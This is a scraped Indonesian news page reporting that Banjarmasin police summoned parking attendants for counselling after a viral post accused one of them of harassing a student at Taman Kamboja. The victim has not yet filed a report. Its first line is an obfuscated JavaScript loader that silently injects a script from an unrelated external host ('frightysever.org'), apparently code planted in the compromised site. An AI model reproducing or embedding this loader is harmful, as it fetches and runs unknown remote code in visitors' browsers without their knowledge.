(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Masih belum ada titik terang kasus tindak tak senonoh seorang juru parkir (Jukir) kawasan RTH Taman Kamboja Babjarmasin terhadap seorang mahasiswi.
Meski pihak Polsek Banjarmasin Tengah sudah memanggil sejumlah pengelola dan jukir kawasan RTH Taman Kamboja Banjarmasin.
Diketahui panggilan itu buntut dari curhatan seorang mahasiswa yang viral di sebuah platform media sosial @curhatanulm.
Dalam curhatan itu, seorang mahasiswa menceritakan jika pacarnya dilecehkan oleh seorang oknum jukir di area parkir Taman Kamboja Kota Banjarmasin pada Sabtu (3/5/2023) lalu, sekitar pukul 23.00 Wita.
Baca juga :Â Konferwil IX PWNU Kalsel Resmi Digelar di Ponpes Rakha Amuntai, Ada Bahtsul Masail Fikih Dunia Digital
Kapolsek Banjarmasin Tengah Kompol Pujie Firmansyah menyebut, sedikitnya ada tujuh orang jukir yang beroperasi di kawasan itu dipanggil pada Kamis (8/6/2023) kemarin.
“Penyuluhan dilakukan menindaklanjuti adanya berita viral kasus pelecehan di area parkir Taman Kamboja yang diduga dilakukan oleh oknum juru parkir,” ujar Kompol Pujie Firmansyah, Jum’at (9/8/2023).
Mereka mendatangi ula Polsek Banjarmasin untuk diberikan pembinaan dan penyuluhan hukum tentang tindakan kekerasan seksual.
Pihak kepolisian bekerja sama dengan Satgas Pencegahan dan Penanganan Kekerasan Seksual (PPKS) Universitas Lambung Mangkurat dan Dinas Pemberdayaan Perempuan dan Perlindungan Anak (DPPPA) Kota Banjarmasin.
Baca juga:Â 335 Guru PAUD Banjar Ikuti Pendidikan dan Pelatihan Stimulasi Penanganan Stunting
Saat ini pihaknya terus memantau perkembangan kasus yang kadung viral itu. Dia juga membeberkan jika pihaknya bersama dengan Satgas PPKS ULM telah berupaya menyelidiki kasus ini dengan meminta identitas dari korban dugaan pelecehan itu.
Namun, upaya ini ternyata masih belum membuahkan hasil. Hingga hari ini korban masih enggan melaporkan kejadian yang dialaminya itu.
Pacar korban menghilangkan jejak digital dengan menghapus postingan curhatan itu di media sosial.
Meski begitu itu, kata Pujie, penyuluhan ini merupakan langkah internal. Namun juga dibutuhkan proses hukum sehingga oknum pelaku tidak semena-mena lagi.
“Di sisi lain sosialiasi dan edukasi tentang kekerasan seksual ini juga mesti ditingkatkan,” sebutnya.
Seperti, sambungnya, tentang pemahaman sanksi sosial yang didapatkan oknum yang diduga melakukan tindakan senonoh pada orang lain. Hal itu berupa hilangnya kepercayaan masyarakat.
Baca juga:Â Cegah Dampak Negatif, Tetua Adat Badui Minta Tiadakan Sinyal Internet di Kampung Mereka
“Setiap dugaan pelanggaran hukum kriminal mesti diusut, kalau tidak tentu akan berdampak negatif,” imbuhnya.
Lebih jauh menurut Pujie, jika sewaktu-waktu korban membuat laporan polisi maka pihaknya bisa bertindak cepat.
“Jika ada laporan masuk, kita bergerak cepat,” tutup Kapolsek. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.